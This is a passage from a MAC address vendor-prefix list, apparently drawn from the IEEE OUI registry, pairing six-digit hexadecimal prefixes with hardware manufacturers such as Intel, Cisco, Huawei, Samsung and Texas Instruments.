OPTRONICS CORP. CCB3AB shenzhen Biocare Bio-Medical Equipment Co.,Ltd. E4B318 Intel Corporate 00C88B Cisco Systems, Inc A85EE4 12Sided Technology, LLC 000CC1 Eaton Corporation 0090F9 Imagine Communications 04C103 Clover Network, Inc. 1C553A QianGua Corp. E4A7A0 Intel Corporate E4FAED Samsung Electronics Co.,Ltd 789682 zte corporation F02745 F-Secure Corporation 54D0B4 Xiamen Four-Faith Communication Technology Co.,Ltd D017C2 ASUSTek COMPUTER INC. 001625 Impinj, Inc. 60EE5C SHENZHEN FAST TECHNOLOGIES CO.,LTD 58D67A TCPlink 00A0DE YAMAHA CORPORATION 081F71 TP-LINK TECHNOLOGIES CO.,LTD. 2C2D48 bct electronic GesmbH E4A471 Intel Corporate 00A0F4 GE 00CAE5 Cisco Systems, Inc 4883C7 Sagemcom Broadband SAS 7050AF BSkyB Ltd F4EF9E SGSG SCIENCE & TECHNOLOGY CO. LTD DC9C9F Shenzhen YOUHUA Technology Co., Ltd 0CBF3F Shenzhen Lencotion Technology Co.,Ltd 84FEDC Borqs Beijing Ltd. D8D723 IDS, Inc 703A0E Aruba Networks 7054D2 PEGATRON CORPORATION 7C0507 PEGATRON CORPORATION C07CD1 PEGATRON CORPORATION 94DBDA HUAWEI TECHNOLOGIES CO.,LTD 384C4F HUAWEI TECHNOLOGIES CO.,LTD E4A8B6 HUAWEI TECHNOLOGIES CO.,LTD 244C07 HUAWEI TECHNOLOGIES CO.,LTD E840F2 PEGATRON CORPORATION F0D1B8 LEDVANCE 60B387 Synergics Technologies GmbH 7085C2 ASRock Incorporation C825E1 Lemobile Information Technology (Beijing) Co., Ltd 0022B1 Elbit Systems Ltd. 00065F ECI Telecom Ltd. 001F45 Enterasys 0090FA Emulex Corporation 50C971 GN Netcom A/S 001D82 GN Netcom A/S 001317 GN Netcom A/S 749781 zte corporation B4B15A Siemens AG Energy Management Division A8D828 Ascensia Diabetes Care FCBC9C Vimar Spa 149ECF Dell Inc. AC620D Jabil Circuit(Wuxi) Co.,Ltd 008CFA INVENTEC Corporation 0008B9 Kaonmedia CO., LTD. C83F26 Microsoft Corporation 00E0E6 INCAA Computers 5C5EAB Juniper Networks 7819F7 Juniper Networks 2C2172 Juniper Networks 88E0F3 Juniper Networks 4C9614 Juniper Networks 3C8AB0 Juniper Networks B0C69A Juniper Networks 009069 Juniper Networks 204E71 Juniper Networks F4B52F Juniper Networks 88A25E Juniper Networks 001BC0 Juniper Networks F49EEF Taicang T&W Electronics F4911E ZHUHAI EWPE INFORMATION TECHNOLOGY INC 94FE22 HUAWEI TECHNOLOGIES CO.,LTD F823B2 HUAWEI TECHNOLOGIES CO.,LTD DCD916 HUAWEI TECHNOLOGIES CO.,LTD 002552 VXi Corporation 006CBC Cisco Systems, Inc DC3752 GE B4D5BD Intel Corporate 7CB0C2 Intel Corporate 98AA3C Will i-tech Co., Ltd. 449F7F DataCore Software Corporation 0011FC HARTING Electronics GmbH 5CDD70 Hangzhou H3C Technologies Co., Limited 24BF74 Private B8E779 9Solutions Oy 240A11 TCT mobile ltd C84544 Asia Pacific CIS (Wuxi) Co, Ltd E8A7F2 sTraffic D8209F Cubro Acronet GesmbH E47B3F BEIJING CO-CLOUD TECHNOLOGY LTD. A0415E Opsens Solution Inc. 1C6E76 Quarion Technology Inc 000AAB Toyota Technical Development Corporation 44D1FA Shenzhen Yunlink Technology Co., Ltd 08C021 HUAWEI TECHNOLOGIES CO.,LTD 48435A HUAWEI TECHNOLOGIES CO.,LTD 9CE374 HUAWEI TECHNOLOGIES CO.,LTD 6C0EE6 Chengdu Xiyida Electronic Technology Co,.Ltd 78FFCA TECNO MOBILE LIMITED F03EBF GOGORO TAIWAN LIMITED 50AB3E Qibixx AG A8BB50 WiZ IoT Company Limited 005F86 Cisco Systems, Inc E46251 HAO CHENG GROUP LIMITED 8850DD Infiniband Trade Association DC7834 LOGICOM SA 54F201 Samsung Electronics Co.,Ltd A06090 Samsung Electronics Co.,Ltd 3876CA Shenzhen Smart Intelligent Technology Co.Ltd D0577B Intel Corporate B824F0 SOYO Technology Development Co., Ltd. B456B9 Teraspek Technologies Co.,Ltd 68B35E Shenzhen Neostra Technology Co.Ltd 24E271 Qingdao Hisense Communications Co.,Ltd. BC6010 Qingdao Hisense Communications Co.,Ltd. AC3743 HTC Corporation D8B02E Guangzhou Zonerich Business Machine Co., LTD. 849D64 SMC Corporation A020A6 Espressif Inc. 88F7C7 Technicolor CH USA Inc. 08952A Technicolor CH USA Inc. C4BB4C Zebra Information Tech Co. Ltd 8C04FF Technicolor CH USA Inc. 001972 Plexus (Xiamen) Co.,ltd. 6488FF Sichuan Changhong Electric Ltd. 005979 Networked Energy Services 000997 Nortel Networks 000E62 Nortel Networks 000EC0 Nortel Networks 000FCD Nortel Networks 0004DC Nortel Networks 02E6D3 NIXDORF COMPUTER CORP. 0016B9 ProCurve Networking by HP 0024A8 ProCurve Networking by HP 141F78 Samsung Electronics Co.,Ltd 006F64 Samsung Electronics Co.,Ltd DC6672 Samsung Electronics Co.,Ltd 0025C3 21168 001365 Nortel Networks 001ECA Nortel Networks 001D42 Nortel Networks 001CEB Nortel Networks 002363 Zhuhai Raysharp Technology Co.,Ltd D03742 Yulong Computer Telecommunication Scientific (Shenzhen) Co.,Ltd 001CFD Universal Electronics, Inc. 080051 ExperData 0080C7 XIRCOM 049FCA HUAWEI TECHNOLOGIES CO.,LTD C81FBE HUAWEI TECHNOLOGIES CO.,LTD 203DB2 HUAWEI TECHNOLOGIES CO.,LTD 48D539 HUAWEI TECHNOLOGIES CO.,LTD 10E68F KWANGSUNG ELECTRONICS KOREA CO.,LTD. 1899F5 Sichuan Changhong Electric Ltd. E41D2D Mellanox Technologies, Inc. B80018 Htel 0081C4 Cisco Systems, Inc E8FD90 Turbostor 0017EA Texas Instruments 0017E3 Texas Instruments 001834 Texas Instruments 00182F Texas Instruments 78DEE4 Texas Instruments B8FFFE Texas Instruments E0D7BA Texas Instruments 405FC2 Texas Instruments 8030DC Texas Instruments CC78AB Texas Instruments A4D578 Texas Instruments 544A16 Texas Instruments D8DDFD Texas Instruments 20CD39 Texas Instruments 987BF3 Texas Instruments 247189 Texas Instruments EC1127 Texas Instruments F0C77F Texas Instruments F45EAB Texas Instruments 001783 Texas Instruments A81B6A Texas Instruments 9884E3 Texas Instruments 38D269 Texas Instruments C8FD19 Texas Instruments 508CB1 Texas Instruments 04BBF9 Pavilion Data Systems Inc B0F893 Shanghai MXCHIP Information Technology Co., Ltd. 00C017 NetScout Systems, Inc. D49B5C Chongqing Miedu Technology Co., Ltd. C0D391 IEEE Registration Authority C411E0 Bull Group Co., Ltd 90842B LEGO System A/S 8C6102 Beijing Baofengmojing Technologies Co., Ltd FC9114 Technicolor CH USA Inc. 1C25E1 China Mobile IOT Company Limited C0F636 Hangzhou Kuaiyue Technologies, Ltd. F0038C AzureWave Technology Inc. B45D50 Aruba Networks 001E7D Samsung Electronics Co.,Ltd 3C6200 Samsung Electronics Co.,Ltd 0024E9 Samsung Electronics Co.,Ltd 002399 Samsung Electronics Co.,Ltd E4E0C5 Samsung Electronics Co.,Ltd E8039A Samsung Electronics Co.,Ltd C4731E Samsung Electronics Co.,Ltd 78D6F0 SAMSUNG ELECTRO MECHANICS CO., LTD. B407F9 SAMSUNG ELECTRO MECHANICS CO., LTD. 40B89A Hon Hai Precision Ind. Co.,Ltd. A8A795 Hon Hai Precision Ind. Co.,Ltd. 8096CA Hon Hai Precision Ind. Co.,Ltd. 9CD21E Hon Hai Precision Ind. Co.,Ltd. D87988 Hon Hai Precision Ind. Co.,Ltd. 00242B Hon Hai Precision Ind. Co.,Ltd. 00242C Hon Hai Precision Ind. Co.,Ltd. 945330 Hon Hai Precision Ind. Co.,Ltd. EC0EC4 Hon Hai Precision Ind. Co.,Ltd. 7429AF Hon Hai Precision Ind. Co.,Ltd. 346895 Hon Hai Precision Ind. Co.,Ltd. A86BAD Hon Hai Precision Ind. Co.,Ltd. D80F99 Hon Hai Precision Ind. Co.,Ltd. 78DD08 Hon Hai Precision Ind. Co.,Ltd. 00197E Hon Hai Precision Ind. Co.,Ltd. A0AB1B D-Link International 5C4979 AVM Audiovisuelles Marketing und Computersysteme GmbH 086A0A ASKEY COMPUTER CORP 101250 Integrated Device Technology (Malaysia) Sdn. Bhd. 8C7712 Samsung Electronics Co.,Ltd 2013E0 Samsung Electronics Co.,Ltd 0007AB Samsung Electronics Co.,Ltd 0021D2 Samsung Electronics Co.,Ltd BC4760 Samsung Electronics Co.,Ltd D0176A Samsung Electronics Co.,Ltd F0D9B2 EXO S.A. 2CBABA Samsung Electronics Co.,Ltd 24920E Samsung Electronics Co.,Ltd 40D3AE Samsung Electronics Co.,Ltd 802AA8 Ubiquiti Networks Inc. 00156D Ubiquiti Networks Inc. 787D48 ITEL MOBILE LIMITED D46E0E TP-LINK TECHNOLOGIES CO.,LTD. 049790 Lartech telecom LLC 8CEA1B Edgecore Networks Corporation 001650Kratos EPD 583112 DRUST 58696C Ruijie Networks Co.,LTD A0B8F8 Amgen U.S.A. Inc. 14A51A HUAWEI TECHNOLOGIES CO.,LTD C816A5 Masimo Corporation 9002A9 Zhejiang Dahua Technology Co., Ltd. ACD657 Shaanxi GuoLian Digital TV Technology Co.,Ltd. 244E7B IEEE Registration Authority E80945 Integrated Device Technology (Malaysia) Sdn. Bhd. 98FD74 ACT.CO.LTD 60C798 Verifone A46011 Verifone 2C2131 Juniper Networks 0CC47A Super Micro Computer, Inc. 60427F SHENZHEN CHUANGWEI-RGB ELECTRONICS CO.,LTD F8461C Sony Interactive Entertainment Inc. 500B91 IEEE Registration Authority 40B93C Hewlett Packard Enterprise 4C7487 Leader Phone Communication Technology Co., Ltd. F48C50 Intel Corporate E8E875 iS5 Communications Inc. 000422 Studio Technologies, Inc ACC662 MitraStar Technology Corp. F01DBC Microsoft Corporation ACDCE5 Procter & Gamble Company 98D293 Google, Inc. 5CCCA0 Gridwiz Inc. 104FA8 Sony Corporation 6C25B9 BBK EDUCATIONAL ELECTRONICS CORP.,LTD. 486B2C BBK EDUCATIONAL ELECTRONICS CORP.,LTD. 00001F Telco Systems, Inc. BC307E Wistron Neweb Corporation 00C0AB Telco Systems, Inc. 0010CA Telco Systems, Inc. 0C2576 LONGCHEER TELECOMMUNICATION LIMITED 0007A6 Leviton Manufacturing Co., Inc. 208756 SIEMENS AG B08900 HUAWEI TECHNOLOGIES CO.,LTD A03E6B IEEE Registration Authority DC4427 IEEE Registration Authority 0055DA IEEE Registration Authority 90C682 IEEE Registration Authority 986D35 IEEE Registration Authority E0B6F5 IEEE Registration Authority C47C8D IEEE Registration Authority 001BC5 IEEE Registration Authority 640DCE SHENZHEN MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 100723 IEEE Registration Authority 6063F9 Ciholas, Inc. F0421C Intel Corporate C0E42D TP-LINK TECHNOLOGIES CO.,LTD. 18D6C7 TP-LINK TECHNOLOGIES CO.,LTD. B8BB23 Guangdong Nufront CSC Co., Ltd EC26FB TECC CO.,LTD. 0090CC PLANEX COMMUNICATIONS INC. E09DB8 PLANEX COMMUNICATIONS INC. 903AE6 PARROT SA 00E00F Shanghai Baud Data Communication Co.,Ltd. 3C404F GUANGDONG PISEN ELECTRONICS CO.,LTD F0ACD7 IEEE Registration Authority 00233E Alcatel-Lucent IPD 6CBEE9 Alcatel-Lucent IPD 0080F7 Zenith Electronics Corporation 00C095 ZNYX Networks, Inc. 60EB69 QUANTA COMPUTER INC. C80AA9 QUANTA COMPUTER INC. 00238B QUANTA COMPUTER INC. 0007BA UTStarcom Inc 4439C4 Universal Global Scientific Industrial Co., Ltd. 70F395 Universal Global Scientific Industrial Co., Ltd. 001E37 Universal Global Scientific Industrial Co., Ltd. 002713 Universal Global Scientific Industrial Co., Ltd. 002186 Universal Global Scientific Industrial Co., Ltd. 8CFDF0 Qualcomm Inc. 000031 QPSX COMMUNICATIONS, LTD. 000E7B Toshiba B86B23 Toshiba 000C29 VMware, Inc. 005056 VMware, Inc. 001C4D Aplix IP Holdings Corporation D0052A Arcadyan Corporation F485C6 FDT Technologies BC60A7 Sony Interactive Entertainment Inc. 08D833 Shenzhen RF Technology Co., Ltd 94D469 Cisco Systems, Inc 385610 CANDY HOUSE, Inc. 685388 P&S Technology 54A619 Alcatel-Lucent Shanghai Bell Co., Ltd 1880F5 Alcatel-Lucent Shanghai Bell Co., Ltd 24DBED Samsung Electronics Co.,Ltd AC3613 Samsung Electronics Co.,Ltd 1449E0 SAMSUNG ELECTRO-MECHANICS(THAILAND) C0BDD1 SAMSUNG ELECTRO-MECHANICS(THAILAND) E8508B SAMSUNG ELECTRO-MECHANICS(THAILAND) F025B7 SAMSUNG ELECTRO-MECHANICS(THAILAND) C8BA94 SAMSUNG ELECTRO-MECHANICS(THAILAND) EC1F72 SAMSUNG ELECTRO-MECHANICS(THAILAND) 9852B1 Samsung Electronics Co.,Ltd 1489FD Samsung Electronics Co.,Ltd CCFE3C Samsung Electronics Co.,Ltd 789ED0 Samsung Electronics Co.,Ltd E440E2 Samsung Electronics Co.,Ltd 1CAF05 Samsung Electronics Co.,Ltd E492FB Samsung Electronics Co.,Ltd 247F20 Sagemcom Broadband SAS 0073E0 Samsung Electronics Co.,Ltd BC4486 Samsung Electronics Co.,Ltd 380B40 Samsung Electronics Co.,Ltd 8C0D76 HUAWEI TECHNOLOGIES CO.,LTD 005A13 HUAWEI TECHNOLOGIES CO.,LTD 002490 Samsung Electronics Co.,Ltd 0023D7 Samsung Electronics Co.,Ltd FCA13E Samsung Electronics Co.,Ltd A00798 Samsung Electronics Co.,Ltd 945103 Samsung Electronics Co.,Ltd C819F7 Samsung Electronics Co.,Ltd 2C4401 Samsung Electronics Co.,Ltd 84E0F4 IEEE Registration Authority 08C6B3 QTECH LLC 64DAA0 Robert Bosch Smart Home GmbH 14B837 Shenzhen YOUHUA Technology Co., Ltd 8056F2 Hon Hai Precision Ind. Co.,Ltd. 70188B Hon Hai Precision Ind. Co.,Ltd. 3C77E6 Hon Hai Precision Ind. Co.,Ltd. 0C84DC Hon Hai Precision Ind. Co.,Ltd. 844BF5 Hon Hai Precision Ind. Co.,Ltd. E006E6 Hon Hai Precision Ind. Co.,Ltd. 60F494 Hon Hai Precision Ind. Co.,Ltd. A41731 Hon Hai Precision Ind. Co.,Ltd. C0143D Hon Hai Precision Ind. Co.,Ltd. 642737 Hon Hai Precision Ind. Co.,Ltd. 60D819 Hon Hai Precision Ind. Co.,Ltd. 6474F6 Shooter Detection Systems CC7314 HONG KONG WHEATEK TECHNOLOGY LIMITED C0CB38 Hon Hai Precision Ind. Co.,Ltd. 98E7F4 Hewlett Packard D42C44 Cisco Systems, Inc D842E2 Canary Connect, Inc. 500959 Technicolor CH USA Inc. 143365 TEM Mobile Limited C0F945 Toshiba Toko Meter Systems Co., LTD. ACAB2E Beijing LasNubes Technology Co., Ltd. 10E878 Nokia 48F7F1 Nokia 4CC94F Nokia 1CEA1B Nokia B4F81E Kinova 28CA09 ThyssenKrupp Elevators (Shanghai) Co.,Ltd E0B94D SHENZHEN BILIAN ELECTRONIC CO.,LTD D8380D SHENZHEN IP-COM Network Co.,Ltd A4C64F HUAWEI TECHNOLOGIES CO.,LTD C83DD4 CyberTAN Technology Inc. 487B6B HUAWEI TECHNOLOGIES CO.,LTD 9C62AB Sumavision Technologies Co.,Ltd 487A55 ALE International 000435 InfiNet LLC BC39D9 Z-TEC B04BBF PT HAN SUNG ELECTORONICS INDONESIA 0060D6 NovAtel Inc. 78B84B SICHUAN TIANYI COMHEART TELECOMCO.,LTD 40F420 SICHUAN TIANYI COMHEART TELECOMCO.,LTD 9C6121 SICHUAN TIANYI COMHEART TELECOMCO.,LTD 8C8ABB Beijing Orient View Technology Co., Ltd. 88366C EFM Networks F074E4 Thundercomm Technology Co., Ltd A0722C HUMAX Co., Ltd. FCECDA Ubiquiti Networks Inc. E07C13 zte corporation 58E16C Ying Hua Information Technology (Shanghai)Co., LTD 24C1BD CRRC DALIAN R&D CO.,LTD. A81E84 QUANTA COMPUTER INC. C82158 Intel Corporate 2420C7 Sagemcom Broadband SAS 703D15 Hangzhou H3C Technologies Co., Limited 4018B1 Aerohive Networks Inc. 001977 Aerohive Networks Inc. C8665D Aerohive Networks Inc. 4865EE IEEE Registration Authority 3CEF8C Zhejiang Dahua Technology Co., Ltd. A0CC2B Murata Manufacturing Co., Ltd. 00234A Private 88C626 Logitech, Inc 28E31F Xiaomi Communications Co Ltd 0C1DAF Xiaomi Communications Co Ltd 14F65A Xiaomi Communications Co Ltd 742344 Xiaomi Communications Co Ltd F0B429 Xiaomi Communications Co Ltd 94E979 Liteon Technology Corporation AC1F6B Super Micro Computer, Inc. 80D4A5 HUAWEI TECHNOLOGIES CO.,LTD 38BC01 HUAWEI TECHNOLOGIES CO.,LTD 04B0E7 HUAWEI TECHNOLOGIES CO.,LTD 446A2E HUAWEI TECHNOLOGIES CO.,LTD 0026AB Seiko Epson Corporation 64EB8C Seiko Epson Corporation A06FAA LG Innotek 0015FC Littelfuse Startco 504B5B CONTROLtronic GmbH A0E0AF Cisco Systems, Inc 603E7B Gafachi, Inc. 98F199 NEC Platforms, Ltd. 78FC14 Family Zone Cyber Safety Ltd 1062EB D-Link International E0A700 Verkada Inc 901711 Hagenuk Marinekommunikation GmbH D825B0 Rockeetech Systems Co.,Ltd. 74614B Chongqing Huijiatong Information Technology Co., Ltd. F46E24 NEC Personal Computers, Ltd. 888279 Shenzhen RB-LINK Intelligent Technology Co.Ltd 78321B D-Link International EC51BC GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD F079E8 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD D8A534 Spectronix Corporation 583879 RICOH COMPANY, LTD. 94282E New H3C Technologies Co., Ltd D843ED Suzuken 887598 Samsung Electronics Co.,Ltd D0B128 Samsung Electronics Co.,Ltd FCEEE6 FORMIKE ELECTRONIC CO., LTD 2C431A Shenzhen YOUHUA Technology Co., Ltd A8D3C8 Topcon Electronics GmbH & Co. KG 389F5A C-Kur TV Inc. 24B209 Avaya Inc 24E124 Xiamen Ursaconn Technology Co. , Ltd. DC68EB Nintendo Co.,Ltd 9441C1 Mini-Cam Limited E8D819 AzureWave Technology Inc. AC1DDF IEEE Registration Authority 0008FA KEB Automation KG 18396E SUNSEA TELECOMMUNICATIONS CO.,LTD. E8DF70 AVM Audiovisuelles Marketing und Computersysteme GmbH 7CDD76 Suzhou Hanming Technologies Co., Ltd. 246880 Braveridge.co.,ltd. D00401 Motorola Mobility LLC, a Lenovo Company 589043 Sagemcom Broadband SAS 28CF08 ESSYS 707DB9 Cisco Systems, Inc 346FED Enovation Controls 0000B4 Edimax Technology Co. Ltd. 08BEAC Edimax Technology Co. Ltd. F06D78 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 7844FD TP-LINK TECHNOLOGIES CO.,LTD. 503EAA TP-LINK TECHNOLOGIES CO.,LTD. AC84C6 TP-LINK TECHNOLOGIES CO.,LTD. 34D0B8 IEEE Registration Authority B0C19E zte corporation 0C3747 zte corporation 000097 Dell EMC ECC06A PowerChord Group Limited 38D7CA 7HUGS LABS 6C05D5 Ethertronics Inc 001DF4 Magellan Technology Pty Limited C02250 Private 0094A1 F5 Networks, Inc. 1890D8 Sagemcom Broadband SAS 88835D FN-LINK TECHNOLOGY LIMITED 10683F LG Electronics (Mobile Communications) 74A722 LG Electronics (Mobile Communications) 58A2B5 LG Electronics (Mobile Communications) 64899A LG Electronics (Mobile Communications) 88074B LG Electronics (Mobile Communications) 64BC0C LG Electronics (Mobile Communications) A039F7 LG Electronics (Mobile Communications) 041B6D LG Electronics (Mobile Communications) 001F6B LG Electronics (Mobile Communications) D007CA Juniper Networks F86CE1 Taicang T&W Electronics 1C7328 Connected Home 40A93F Private 5C7776 TCT mobile ltd EC1D8B Cisco Systems, Inc 38F73D Amazon Technologies Inc. 30B4B8 LG Electronics 2CFDAB Motorola (Wuhan) Mobility Technologies Communication Co., Ltd. F41E5E RtBrick Inc. 1806FF Acer Computer(Shanghai) Limited. B8ECA3 Zyxel Communications Corporation EC43F6 Zyxel Communications Corporation 588BF3 Zyxel Communications Corporation FCF528 Zyxel Communications Corporation 0019CB Zyxel Communications Corporation 603197 Zyxel Communications Corporation 34FA9F Ruckus Wireless 506F98 Sehaj Synergy Technologies Private Limited 04F128 HMD Global Oy F065C2 Yanfeng Visteon Electronics Technology (Shanghai) Co.,Ltd. 70B7E2 Jiangsu Miter Technology Co.,Ltd. 503CEA GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 0004CF Seagate Technology 0014C3 Seagate Technology 002037 Seagate Technology 0050CC Seagate Cloud Systems Inc 1C27DD Datang Gohighsec(zhejiang)Information Technology Co.,Ltd. 007263 Netcore Technology Inc. 48555C Wu Qi Technologies,Inc. 70EEA3 Eoptolink Technology Inc. Ltd, 5C5819 Jingsheng Technology Co., Ltd. 747D24 Phicomm (Shanghai) Co., Ltd. 5C81A7 Network Devices Pty Ltd 808DB7 Hewlett Packard Enterprise 10CEA9 Texas Instruments F8B568 IEEE Registration Authority 14444A Apollo Seiko Ltd. 5C0C0E Guizhou Huaxintong Semiconductor Technology Co Ltd 2CFDA1 ASUSTek COMPUTER INC. 3807D4 Zeppelin Systems GmbH 64209F Tilgin AB 04E0B0 Shenzhen YOUHUA Technology Co., Ltd 0C9838 Xiaomi Communications Co Ltd 000496 Extreme Networks, Inc. B85001 Extreme Networks, Inc. 7C7630 Shenzhen YOUHUA Technology Co., Ltd 9822EF Liteon Technology Corporation 580454 ICOMM HK LIMITED A0BDCD BSkyB Ltd 803A59 AT&T 606D3C Luxshare Precision Industry Company Limited CC4D38 Carnegie Technologies 54FCF0 Samsung Electronics Co.,Ltd 08AED6 Samsung Electronics Co.,Ltd B0672F Bowers & Wilkins A816D0 Samsung Electronics Co.,Ltd 88BD45 Samsung Electronics Co.,Ltd 74C9A3 Fiberhome Telecommunication Technologies Co.,LTD A8E705 Fiberhome Telecommunication Technologies Co.,LTD CC500A Fiberhome Telecommunication Technologies Co.,LTD 60B617 Fiberhome Telecommunication Technologies Co.,LTD 18A3E8 Fiberhome Telecommunication Technologies Co.,LTD 741E93 Fiberhome Telecommunication Technologies Co.,LTD 20896F Fiberhome Telecommunication Technologies Co.,LTD A013CB Fiberhome Telecommunication Technologies Co.,LTD 3CFB5C Fiberhome Telecommunication Technologies Co.,LTD 28EDE0 AMPAK Technology, Inc. 040973 Hewlett Packard Enterprise 70F220 Actiontec Electronics, Inc 4CC206 Somfy 50DCE7 Amazon Technologies Inc. 04C9D9 Dish Technologies Corp 0024AF Dish Technologies Corp 285767 Dish Technologies Corp 7055F8 Cerebras Systems Inc 9C431E IEEE Registration Authority 6C54CD LAMPEX ELECTRONICS LIMITED 80C548 Shenzhen Zowee Technology Co.,Ltd 883D24 Google, Inc. 90848B HDR10+ Technologies, LLC 0C2369 Honeywell SPS E8DEFB MESOTIC SAS 8C1645 LCFC(HeFei) Electronics Technology co., ltd B4E9A3 port GmbH 6CB6CA DIVUS GmbH B8DE5E LONGCHEER TELECOMMUNICATION LIMITED DCDD24 Energica Motor Company SpA 641CB0 Samsung Electronics Co.,Ltd 946372 vivo Mobile Communication Co., Ltd. 449EF9 vivo Mobile Communication Co., Ltd. 8CF957 RuiXingHengFang Network (Shenzhen) Co.,Ltd 001BD8 FLIR Systems Inc 20365B Megafone Limited E8DE00 ChongQing GuanFang Technology Co.,LTD 3CDCBC Samsung Electronics Co.,Ltd F47190 Samsung Electronics Co.,Ltd 4C776D Cisco Systems, Inc FCA6CD Fiberhome Telecommunication Technologies Co.,LTD 64DB8B Hangzhou Hikvision Digital Technology Co.,Ltd. 78257A LEO Innovation Lab A4DA22 IEEE Registration Authority 000397 FireBrick Limited A8610A ARDUINO AG 6097DD MicroSys Electronics GmbH 047970 HUAWEI TECHNOLOGIES CO.,LTD C49F4C HUAWEI TECHNOLOGIES CO.,LTD A057E3 HUAWEI TECHNOLOGIES CO.,LTD E0E62E TCT mobile ltd 00A085 Private 94B86D Intel Corporate 587A6A GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD E4C483 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 30FD38 Google, Inc. 18502A SOARNEX 304511 Texas Instruments 3403DE Texas Instruments F4E11E Texas Instruments 10E7C6 Hewlett Packard 20F543 Hui Zhou Gaoshengda Technology Co.,LTD 1C1EE3 Hui Zhou Gaoshengda Technology Co.,LTD 0C9160 Hui Zhou Gaoshengda Technology Co.,LTD 0C62A6 Hui Zhou Gaoshengda Technology Co.,LTD 7C49EB XIAOMI Electronics,CO.,LTD C43306 China Mobile Group Device Co.,Ltd. 68FEDA Fiberhome Telecommunication Technologies Co.,LTD 0C6ABC Fiberhome Telecommunication Technologies Co.,LTD 0001B9 SKF (U.K.) Limited 64C3D6 Juniper Networks C0D9F7 ShanDong Domor Intelligent S&T CO.,Ltd 94FB29 Zebra Technologies Inc. 64DBA0 Select Comfort 5800E3 Liteon Technology Corporation 64777D Hitron Technologies. Inc 0495E6 Tenda Technology Co.,Ltd.Dongguan branch 0016D3 Wistron Corporation 001F16 Wistron Corporation 4C4E03 TCT mobile ltd 50E666 Shenzhen Techtion Electronics Co., Ltd. 6831FE Teladin Co.,Ltd. D4B169 Le Shi Zhi Xin Electronic Technology (Tianjin) Limited 0C3CCD Universal Global Scientific Industrial Co., Ltd. B04089 Senient Systems LTD 002445 Adtran Inc 689FF0 zte corporation 7CC6C4 Kolff Computer Supplies b.v. 14B7F8 Technicolor CH USA Inc. F06E32 MICROTEL INNOVATION S.R.L. 00E022 Analog Devices, Inc. 7C67A2 Intel Corporate 000302 Charles Industries, Ltd. 0896AD Cisco Systems, Inc 8CF5A3 SAMSUNG ELECTRO-MECHANICS(THAILAND) B8EAAA ICG NETWORKS CO.,ltd B8F883 TP-LINK TECHNOLOGIES CO.,LTD. DCFE18 TP-LINK TECHNOLOGIES CO.,LTD. AC60B6 Ericsson AB 3C197D Ericsson AB 74C99A Ericsson AB 000F4F PCS Systemtechnik GmbH 7C5A1C Sophos Ltd 00E400 Sichuan Changhong Electric Ltd. 00117E Midmark Corp 105AF7 ADB Italia 703ACB Google, Inc. D481D7 Dell Inc. 2C55D3 HUAWEI TECHNOLOGIES CO.,LTD F44C7F HUAWEI TECHNOLOGIES CO.,LTD 143004 HUAWEI TECHNOLOGIES CO.,LTD 7C4685 Motorola (Wuhan) Mobility Technologies Communication Co., Ltd. E05163 Arcadyan Corporation 00A06F Color Sentinel Systems, LLC 0C5F35 Niagara Video Corporation 7C3866 Texas Instruments 50F14A Texas Instruments 9C1D58 Texas Instruments 500FF5 Tenda Technology Co.,Ltd.Dongguan branch F0272D Amazon Technologies Inc. 74C246 Amazon Technologies Inc. F4C4D6 Shenzhen Xinfa Electronic Co.,ltd 08B258 Juniper Networks C03D46 Shanghai Sango Network Technology Co.,Ltd E89FEC CHENGDU KT ELECTRONIC HI-TECH CO.,LTD BCA042 SHANGHAI FLYCO ELECTRICAL APPLIANCE CO.,LTD D47DFC TECNO MOBILE LIMITED 443708 MRV Comunications 14568E Samsung Electronics Co.,Ltd 6837E9 Amazon Technologies Inc. 8058F8 Motorola Mobility LLC, a Lenovo Company F0D7AA Motorola Mobility LLC, a Lenovo Company 28FF3E zte corporation D0498B ZOOM SERVER C49DED Microsoft Corporation 98A40E Snap, Inc. 2C5A0F Cisco Systems, Inc AC7409 Hangzhou H3C Technologies Co., Limited E037BF Wistron Neweb Corporation 4C8120 Taicang T&W Electronics E8E732 Alcatel-Lucent Enterprise 00118B Alcatel-Lucent Enterprise 00E0B1 Alcatel-Lucent Enterprise 6854ED Alcatel-Lucent B42A0E Technicolor CH USA Inc. E8DE8E Integrated Device Technology (Malaysia) Sdn. Bhd. 40C8CB AM Telecom co., Ltd. 14A0F8 HUAWEI TECHNOLOGIES CO.,LTD 28B448 HUAWEI TECHNOLOGIES CO.,LTD E442A6 Intel Corporate 6045CB ASUSTek COMPUTER INC. 84AFEC BUFFALO.INC AC202E Hitron Technologies. Inc 48A74E zte corporation 3C5282 Hewlett Packard B0AA36 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 2C5BB8 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 1C48CE GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 004066 APRESIA Systems Ltd 9CAC6D Universal Electronics, Inc. B03D96 Vision Valley FZ LLC B02628 Broadcom Limited E81363 Comstock RD, Inc. 44AA50 Juniper Networks 0080E7 Leonardo Tactical Systems. 688DB6 AETEK INC. 481063 NTT Innovation Institute, Inc. 24F5AA Samsung Electronics Co.,Ltd F877B8 Samsung Electronics Co.,Ltd 682737 Samsung Electronics Co.,Ltd 5056BF Samsung Electronics Co.,Ltd D428D5 TCT mobile ltd 405CFD Dell Inc. A0094C CenturyLink 00A38E Cisco Systems, Inc DCC8F5 Shanghai UMEinfo CO.,LTD. 64DFE9 ATEME 9097F3 Samsung Electronics Co.,Ltd 58C5CB Samsung Electronics Co.,Ltd ACAFB9 Samsung Electronics Co.,Ltd 308976 DALIAN LAMBA TECHNOLOGY CO.,LTD 447BBB Shenzhen YOUHUA Technology Co., Ltd A4F4C2 VNPT TECHNOLOGY C0A5DD SHENZHEN MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. DCBE7A Zhejiang Nurotron Biotechnology Co. 206BE7 TP-LINK TECHNOLOGIES CO.,LTD. 4857DD Facebook Inc 681DEF Shenzhen CYX Technology Co., Ltd. AC203E Wuhan Tianyu 